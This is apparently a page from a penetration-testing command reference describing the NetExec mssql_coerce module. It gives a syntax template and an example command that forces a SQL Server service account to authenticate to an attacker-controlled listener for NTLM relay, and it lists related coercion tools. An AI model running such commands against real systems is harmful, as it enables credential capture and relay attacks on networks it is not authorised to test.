NetExec mssql_coerce Module
Coerce the MSSQL service account to authenticate to your relay listener via xp_dirtree / xp_subdirs / xp_fileexist. Lights up the path to NTLM relay against any SQL service account that's actually a domain account.
- Tool
- nxc
- Category
- Credential Attacks / NTLM Relay & Coercion
- Platform
- linux
- Requires
- password
- Protocols
- MSSQL
Syntax
Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.
nxc mssql <target> -u '<user>' -p '<password>' -M mssql_coerce -o LISTENER=<attacker-ip>Examples
nxc mssql 10.10.10.10 -u sa -p 'Password123!' --local-auth -M mssql_coerce -o LISTENER=10.10.14.5Tags
Related commands
- Coercer Coerce NTLM authentication using multiple RPC protocols
- Coercer Scan (Find Coercion Vectors) Probe a target for every known authentication-coercion RPC method (PetitPotam,…
- DFSCoerce Coerce NTLM authentication using MS-DFSNM (Distributed File System)
- NetExec coerce_plus Module Unified coercion module — replaces the individual…
- NetExec Generate Relay Target List Scan a subnet over SMB and write a file containing every host with SMB signing disabled.…
- NetExec PetitPotam Coercion Coerce a Windows host (typically a DC) to authenticate back to the attacker via the…
- NetExec SMB Coerce Plus Trigger NTLM authentication coercion using multiple methods (PetitPotam, PrinterBug,…
- NetExec SMB NTLMv1 Check Check if NTLMv1 authentication is accepted on remote hosts (enables downgrade attacks)